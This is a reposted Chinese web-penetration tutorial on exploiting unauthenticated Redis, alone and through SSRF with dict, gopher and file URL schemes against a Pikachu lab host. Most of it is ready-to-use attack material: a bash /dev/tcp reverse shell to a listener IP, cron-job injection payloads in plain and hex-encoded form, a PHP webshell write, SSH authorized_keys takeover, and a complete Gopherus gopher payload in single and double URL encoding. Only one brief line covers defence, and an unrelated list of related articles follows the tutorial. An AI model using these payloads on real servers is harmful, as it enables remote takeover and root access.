web渗透测试之反弹shell SSRF结合redis结合伪协议 redis 未授权访问漏洞

目录

未授权访问漏洞利用:redis 反弹shell

漏洞原因就是:

反弹shell利用方式

反弹shell指的是什么 :

反弹shell的前提条件

步骤:

redis未授权访问的三种利用手段反弹shell

利用定时任务反弹shell

攻击主机下设置

写入 webshell

步骤

利用公钥认证写入root用户用户公钥获取root免密连接权限

步骤

生成公私钥

将公钥拷贝到目标主机的/root/.ssh/authorized_keys

操控主机:

远程目标主机:

Redis弱口令登录方法写入

redis未授权访问防护手段

ssrf常用伪协议和dict协议完成ssrf配合redis未授权访问漏洞的反弹shell

伪协议介绍

DICT协议

注意:

Http伪协议:

gopher协议完成ssrf配合redis未授权访问漏洞来反弹shell

gopher协议

Gopher是一种分布式文档传递服务。

那么它在ssrf中如何使用呢?

gopher特点

Gopher协议格式:

协议格式:

格式要求:

Kali执行命令

file协议读取服务器文件



未授权访问漏洞利用:redis 反弹shell

  • 漏洞原因就是:

    • 因为没有设定连接密码或者密码太过简单导致的提取数据直接反弹shell

    • 执行redis指令内容 写入文件 拿到服务器的控制终端也就是控制服务器

反弹shell利用方式

  1. Redis持久化 也就是保存在磁盘上去 以文件的单位

  2. Config get dir 查看持久化保存的地址

  3. Config get dbfilename 查看保存的文件名称

  4. Save 保存文件redis数据 持久化数据

  • 我们可以修改保存的文件目录名称以及位置
  • Set shell 反弹shell的攻击代码 保存在数据库,修改文件的存储位置以及名称
  • 基于修改配置 保存在/var/spool/cron/ -> 定时任务目录 以用户名(登录的用户名)称进行文件保存

反弹shell指的是什么 :

  • 将本地的shell控制终端 返回给另外一台主机
  • 反弹shell 是不会终端的
  • Webshell 是http 无连接 短链接的

反弹shell的前提条件

  • 主机不出网 无法反弹出 外网主机

  • /bin/bash -I 是创建一个bash终端覆盖了原始的bash终端窗口

  • 反弹回来 我们需要一个程序用来接受反弹shell的终端数据 4444

步骤:

1 开始一个监听程序 攻击主机 nc 监听 nv –lvvp 4444 接受反弹shell

2 /bin/bash -i>&/dev/tcp/192.168.1.10/4444 0>&1

3 监听终端


redis未授权访问的三种利用手段反弹shell

利用定时任务反弹shell

  • 攻击主机下设置

######Config set dir /var/spool/cron 设置目录 定时任务目录Dir 查看保存目录下Config set dbfilename root 设置文件名称&&&&&&&&&&&&&&&&&Flushall 清空redis所有数据攻击主机发送保存数据set 请求set halo"\n\n* * * * * /bin/bash -i>&/dev/tcp/192.168.1.10/4444 0>&1\n\n"######
  • 进入到/var/spool/cron定时任务 root 一分钟执行一次。
  • 攻击主机加入监听 nc –lvvp 4444 一分钟看 攻击主机就会反弹出shell。
  • 我们可以看到,通过写定时任务可以反弹shell。
  • 但是反弹shell需要一个前提条件
    • 就是目标主机是可以出网的,意思就是目标主机可以上网才行,如果目标主机不能上网,也就是不出网
    • 那么就需要用到我们后续内网渗透中学到的知识了,比如代理和隧道等技术,让不出网的主机出网

写入 webshell

  • webshell我们前面已经说过,也用过了,所以这里不用多提,

    • 重点就是将一句话木马程序写入到redis中

    • 然后保存到站点根目录下即可

步骤

  1. 找到站点根目录

  2. 修改redis保存目录

  3. 修改redis保存文件名称

  4. Set 写入一句胡木马

  5. Sava写入


利用公钥认证写入root用户用户公钥获取root免密连接权限

步骤

  • 公钥 我拷贝到目标主机特定目录的特定文件中

  • 服务端 root/.ssh

  • authorized_keys 解密 客户端发来的私钥 相等登录成功

  • 私钥 客户端自己存放着

  • Ssh root@192.168.1.8

  • 生成公私钥

ssh-keygen

  • 将公钥拷贝到目标主机的/root/.ssh/authorized_keys

操控主机:

  • 1. 生成公私钥

  • ssh-keygen

  • 2.将公钥拷贝到目标主机的/root/.ssh/authorized_keys

远程目标主机:

  • 1.在/root/目录下创建.ssh隐藏文件夹

  • 2.cs .ssh,进入到ssh目录中,创建authorized_keys文件

  • 3.将操作主机的公钥写入到authorized_keys文件中

  • 在操控主机上执行ssh root@目标主机ip地址,直接就可以连接,不需要输入密码了,这就是公私钥免密登录


Redis弱口令登录方法写入

  • 也就是说
    • 我们想办法将自己主机的公钥写入或者拷贝到目标主机的authorized_keys文件中就直接可以免密登录。
redis-cli -h 192.168.142.149redis-cli 本机连接

redis未授权访问防护手段

  • 添加防火墙策略,只允许某些IP地址访问这个redis服务器

  • 设置密码,以提供远程登陆打开redis.conf配置文件

    • 找到requirepass,然后修改如下:


ssrf常用伪协议和dict协议完成ssrf配合redis未授权访问漏洞的反弹shell

伪协议介绍

  • http:// 主要用于探测主机存活和端口的开放情况

  • dict:// 字典服务器协议,访问字典资源,如,dict:///ip:6739/info

    • 1探测信息有时候返回的信息比较多

    • 2发送指令

    • 3运行指令

  • sftp://SSH文件传输协议或安全文件传输协议

    • 探测文件时上传下载的 ftp针对21端口

  • gopher:// 分布式文档传递服务,可使用gopherus生成payload

    • ssh基于gopher发起攻击

  • file:/// 从文无序列表件系统中获取文件内容,如,file:///etc/passwd

    • ldap:// 轻量级目录访问协议 windows域控

  • Dict伪协议-> 含有信息反馈

DICT协议

http://192.168.1.6/pikachu/vul/ssrf/ssrf_curl.php?url=dict://192.168.142.149:6379
  • 百度搜寻错误然后再知道是什么样的错误
  • ERR Unknown subcommand or wrong number of arguments for 'libcurl'. Try CLIENT HELP. +OK l

  • Dict 可以执行一些应用程序的指令

  • http://192.168.1.6/pikachu/vul/ssrf/ssrf_curl.php?url=dict://192.168.142.149:6379/info

http://192.168.1.6/pikachu/vul/ssrf/ssrf_curl.php?url=dict://192.168.142.149:6379/set username base
http://192.168.1.6/pikachu/vul/ssrf/ssrf_curl.php?url=dict://192.168.142.149:6379/get username 

  • 这样的情况下我们就可以利用dict进行定时任务 进行反弹shell

  • dict协议攻击redis,写入定时任务,进行反弹shell

centos系统定时任务的路径为:/var/spool/cron

debian系统定时任务的路径为:/var/spool/cron/crontabs

dict://192.168.142.149:6379/config:set:dir:/var/spool/cron dict://192.168.142.149:6379/config:set:dbfilename:root dict://192.168.142.149:6379/set:jaden:"\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/192.168.61.149/1234 0>&1\n\n"

# */1 * * * *是每隔1分钟执行一次

注意:

  • 若payload存在被转义或过滤的情况或者由于url编码导致失效的情况出现

  • 可利用16进制写入内容dict://192.168.142.149:6379/set:jaden:"\n\n\x2a/1\x20\x2a\x20\x2a\x20\x2a\x20\x2a \x20/bin/bash\x20\x2di\x20\x3e\x26\x20/dev/tcp/192.168.61.149/1234\x200\x3e\x261 \n\n"

dict://192.168.61.161:6379/save

  1. dict协议攻击redis,写入webshell

dict://192.168.61.161:6379/config:set:dbfilename:test.php

dict://192.168.61.161:6379/config:set:dir:/var/www/html

dict://192.168.61.161:6379/set:jaden:"\n\n<?php @ev..($_POST[x]);?>\n\n"

dict://192.168.61.161:6379/save

若存在过滤, 则利用16进制内容写入: dict://192.168.61.161:6379/set:test:"\n\n\x3c\x3f\x70\x68\x70\x20\x40\x65\x76\x6 1\x6c\x28\x24\x5f\x50\x4f\x53\x54\x5b\x78\x5d\x29\x3b\x3f\x3e\n\n"

  1. dict协议攻击redis,写入ssh公钥

操作和写入定时任务相似

Http伪协议:

在开放的情况下没有反应 探测信息

http://192.168.1.6/pikachu/vul/ssrf/ssrf_curl.php?url=http://192.168.142.149:6379


gopher协议完成ssrf配合redis未授权访问漏洞来反弹shell

gopher协议

  • Gopher是一种分布式文档传递服务。

    • 利用该服务,用户可以无缝地浏览、搜索和检索驻留在不同位置的信息。

  • 那么它在ssrf中如何使用呢?

    • 需要发送多行数据时,就要用到gopher协议

      • 同样使用nc简单测试一下

      • 可以看到接收端成功接收到了换行的数据

      • 所以gopher协议可以用来攻击那些需要交互的应用

gopher特点

  1. gopher协议支持多行数据一起发送,

  2. dict协议不支持换行符

    1. 没有办法进行换行

    2. 相当于一次只能执行一条命令

    3. 所以不能用来攻击那些需要交互的应用(比如需要认证的redis,每次都要先发送登录密码,紧接着就是要执行的指令,每次都是如此)

  3. 并且gopher协议支持发出GET、POST请求:

    1. 可以先截获get请求包和post请求包

    2. 在构成符合gopher协议的请求

  4. gopher协议是ssrf利用中最强大的协议

    1. GOPHER协议是一种比HTTP协议还要古老的协议

    2. 默认工作端口70

    3. 但是gopher协议在SSRF漏洞利用上比HTTP协议更有优势。

  5. GOPHER协议可以以单个URL的形式传递POST请求,同时支持换行。

Gopher协议格式:

协议格式:

gopher://ip:port/_数据包 # 数据包前面的_是一个无用字符,因为gopher协议的数据格式默认

会吃掉第一个数据,所以给一个无用数据占位。

格式要求:
  1. gopher协议会吃掉第一个字符,所以要先放一个没有用的字符

  2. 要进行url编码

  3. gopher协议数据流中,url编码之后使用%0d%0a替换字符串中的回车换行

  4. 数据流末尾使用%0d%0a代表消息结束

  • gopher协议数据流写入操作 ,要将上面的数据转换为redis接受的数据格式。
  • 然后对 _ 后面的数据进行url编码。
  • 如果后台触发漏洞的是curl_exec(),需要对 _ 后面的数据进行二次URL编码。
  • 如果是file_get_contents()造成的ssrf,就不需要二次url编码了。
  • 但是其实把我们想要执行的redis指令加工成redis接受的数据格式
  • 手动来修改格式的话太麻烦了
  • 有没有能够直接帮我们生成gopher协议的payload的工具呢,
  • 有的,看下面这个工具:Gopherus, GitHub地址:GitHub - tarunkant/Gopherus: This tool generates gopher link for exploiting SSRF and gaining RCE in various servers

Kali执行命令
  • python2 gopherus.py --exploit redis
http://192.168.1.6/pikachu/vul/ssrf/ssrf_curl.php?url=
gopher://192.168.142.149:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2470%0D%0A%0A%0A%2A/1%20%2A%20%2A%20%2A%20%2A%20bash%20-c%20%22sh%20-i%20%3E%26%20/dev/tcp/192.168.142.150/1234%200%3E%261%22%0A%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2415%0D%0A/var/spool/cron%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%0Aroot%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A
  • 解码看一下 反弹成功

  • 如果后台触发漏洞的是curl_exec(),需要对 _ 后面的数据进行二次URL编码,如果是file_get_contents()造成的ssrf,就不需要二次url编码了。

二次URL编码

gopher%3A%2F%2F192.168.142.149%3A6379%2F_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252470%250D%250A%250A%250A%252A%2F1%2520%252A%2520%252A%2520%252A%2520%252A%2520bash%2520-c%2520%2522sh%2520-i%2520%253E%2526%2520%2Fdev%2Ftcp%2F192.168.142.150%2F1234%25200%253E%25261%2522%250A%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252415%250D%250A%2Fvar%2Fspool%2Fcron%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25244%250D%250Aroot%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A


file协议读取服务器文件

  • file协议数据格式: file:///文件绝对路径名

​​​​​​http://192.168.1.6/pikachu/vul/ssrf/ssrf_curl.php?url=file:///C:\phpStudy\PHPTutorial\WWW\1.txt

  • 上面的格式是正确的 粘贴到浏览器就可以了

  • 这种URL Schema可以尝试从文件系统中获取文件,ile协议主要用于读取服务器本地文件,访问本地的静态资源

喜欢本文的请动动小手点个赞,收藏一下,有问题请下方评论,转载请注明出处,并附有原文链接,谢谢!如有侵权,请及时联系。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/diannao/69766.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Conda 包管理:高效安装、更新和删除软件包

Conda 包管理&#xff1a;高效安装、更新和删除软件包 1. 引言 在使用 Anaconda 进行 Python 开发时&#xff0c;包管理是日常操作的核心内容。Conda 提供了一整套高效的工具来管理 Python 环境中的软件包&#xff0c;避免了版本冲突&#xff0c;并确保了环境的一致性。 本篇…

【Vue】打包vue3+vite项目发布到github page的完整过程

文章目录 第一步&#xff1a;打包第二步&#xff1a;github仓库设置第三步&#xff1a;安装插件gh-pages第四步&#xff1a;两个配置第五步&#xff1a;上传github其他问题1. 路由2.待补充 参考文章&#xff1a; 环境&#xff1a; vue3vite windows11&#xff08;使用终端即可&…

Win32/C++ 字符串操作实用工具

CStrUtils.h #pragma once#include <string> #include <vector> #include <windows.h> #include <tchar.h>#ifdef _UNICODE using _tstring std::wstring; #else using _tstring std::string; #endif// 字符串转换实用工具 namespace CStrUtils {//…

认购期权卖出相当于平仓吗?

财顺小编本文主要介绍认购期权卖出相当于平仓吗&#xff1f;认购期权卖出并不直接等同于平仓&#xff0c;但卖出认购期权可以是平仓操作的一部分。 认购期权卖出相当于平仓吗&#xff1f; 一、认购期权卖出的含义 卖出认购期权是指投资者作为期权卖方&#xff0c;将认购期权合…

C++ 学习之旅:环境搭建

C 学习之旅&#xff1a;环境搭建 在开启 C 学习的征程时&#xff0c;搭建好开发环境是关键的第一步。这篇博客将详细记录我在 C 环境搭建过程中的学习与实践&#xff0c;为了更直观展示操作步骤&#xff0c;还会添加相关操作图片描述。 一、了解 C 语言 在正式搭建环境前&am…

【C++前缀和】1074. 元素和为目标值的子矩阵数量|2189

本文涉及的基础知识点 C算法&#xff1a;前缀和、前缀乘积、前缀异或的原理、源码及测试用例 包括课程视频 LeetCode1074. 元素和为目标值的子矩阵数量 给出矩阵 matrix 和目标值 target&#xff0c;返回元素总和等于目标值的非空子矩阵的数量。 子矩阵 x1, y1, x2, y2 是满…

HTTP/2 由来及特性

HTTP/2 的由来 HTTP/1.x 的局限性 性能瓶颈 队头阻塞问题&#xff1a;在HTTP/1.x中&#xff0c;一个TCP连接在同一时间只能处理一个请求&#xff0c;后续请求必须等待前面的请求处理完成并收到响应后才能被处理。例如&#xff0c;当一个页面有多个资源&#xff08;如图片、脚…

package.json 文件配置

创建 Node.js 的配置文件 package.json npm init -y package.json 文件配置说明 配置说明示例name指定项目的名称&#xff0c;必须是小写字母&#xff0c;可以包含字母、数字、连字符&#xff08;-&#xff09;或下划线&#xff08;_&#xff09;&#xff0c;不能有特殊字符…

Leetcode1728:猫和老鼠 II

题目描述&#xff1a; 一只猫和一只老鼠在玩一个叫做猫和老鼠的游戏。 它们所处的环境设定是一个 rows x cols 的方格 grid &#xff0c;其中每个格子可能是一堵墙、一块地板、一位玩家&#xff08;猫或者老鼠&#xff09;或者食物。 玩家由字符 C &#xff08;代表猫&#…

【安当产品应用案例100集】037-强化OpenVPN安全防线的卓越之选——安当ASP身份认证系统

在当前数字化时代&#xff0c;网络安全已成为企业发展的重要组成部分。对于使用OpenVPN的企业而言&#xff0c;确保远程访问的安全性尤为重要。安当ASP身份认证系统凭借其强大的功能和便捷的集成方式&#xff0c;为OpenVPN的二次登录认证提供了理想的解决方案&#xff0c;特别是…

基于进化式大语言模型的下一代漏洞挖掘范式:智能对抗与自适应攻防体系

摘要 本文提出了一种基于进化式大语言模型(Evolutionary LLM)的智能漏洞挖掘框架,突破了传统静态分析的局限,构建了具备对抗性思维的动态攻防体系。通过引入深度强化学习与多模态感知机制,实现了漏洞挖掘过程的自适应进化,在RCE、SQLi、XXE等关键漏洞类型的检测中达到97…

2025年数据资产管理解决方案:资料合集,从基础知识到行业应用的全面解析

在数字化时代&#xff0c;数据已成为企业最宝贵的资产之一。如何有效地管理和利用这些数据&#xff0c;将其转化为实际的经济价值&#xff0c;已成为企业面临的重要课题。 本文将通过数据资产解决方案、数据资产行业报告白皮书、数据资产政策汇编、数据资产基础知识以及数据资…

【linux学习指南】模拟线程封装与智能指针shared_ptr

文章目录 &#x1f4dd;线程封装&#x1f309; Thread.hpp&#x1f309; Makefile &#x1f320;线程封装第一版&#x1f309; Makefile:&#x1f309;Main.cc&#x1f309; Thread.hpp: &#x1f320;线程封装第二版&#x1f309; Thread.hpp:&#x1f309; Main.cc &#x1f…

《深度LSTM vs 普通LSTM:训练与效果的深度剖析》

在深度学习领域&#xff0c;长短期记忆网络&#xff08;LSTM&#xff09;以其出色的处理序列数据能力而备受瞩目。而深度LSTM作为LSTM的扩展形式&#xff0c;与普通LSTM在训练和效果上存在着一些显著的不同。 训练方面 参数数量与计算量&#xff1a;普通LSTM通常只有一层或较少…

Java、Go、Rust、Node.js 的内存占比及优缺点分析

在选择编程语言进行项目开发时&#xff0c;内存占用是一个重要的考量因素。不同语言在内存管理、垃圾回收、并发模型等方面各有特点&#xff0c;影响着它们的内存使用情况。本文将对 Java、Go、Rust 和 Node.js 的内存占比进行对比&#xff0c;并分析它们的优缺点。 1. Java 的…

k8s的安装

1. k8s的安装 192.168.48.6 master01 192.168.481.6 node01 192.168.48.26 node02 三台机器一起操作 1.swapoff -a &#xff1a;关闭交换分区 2. iptables -F && iptables -t nat -F && iptables -t mangle -F && iptables -X 3. cat > /etc/sy…

字节跳动大模型应用 Go 开发框架 —— Eino 实践

前言 开发基于大模型的软件应用&#xff0c;就像指挥一支足球队&#xff1a;组件是能力各异的队员&#xff0c;编排是灵活多变的战术&#xff0c;数据是流转的足球。Eino 是字节跳动开源的大模型应用开发框架&#xff0c;拥有稳定的内核&#xff0c;灵活的扩展性&#xff0c;完…

《手札·行业篇》开源Odoo MES系统与SKF Observer Phoenix API在化工行业的双向对接方案

一、项目背景 化工行业生产过程复杂&#xff0c;设备运行条件恶劣&#xff0c;对设备状态监测、生产数据采集和质量控制的要求极高。通过开源Odoo MES系统与SKF Observer Phoenix API的双向对接&#xff0c;可以实现设备状态的实时监测、生产数据的自动化采集以及质量数据的同步…

redis之数据库

文章目录 服务器中的数据库切换数据库数据库键空间读写键空间时的维护操作 设置键的生存时间或过期时间保存过期时间过期键的判定过期键删除策略清性删除策略的实现定期删除策略的实现 总结 服务器中的数据库 Redis服务器将所有数据库都保存在服务器状态redis.h/redisServer结…

dynamic_cast和static_cast和const_cast

dynamic_cast 在 C 中的作用 dynamic_cast 是 C 运行时类型转换&#xff08;RTTI, Run-Time Type Identification&#xff09;的一部分&#xff0c;主要用于&#xff1a; 安全的多态类型转换检查类型的有效性向下转换&#xff08;Downcasting&#xff09;跨类层次的指针或引用…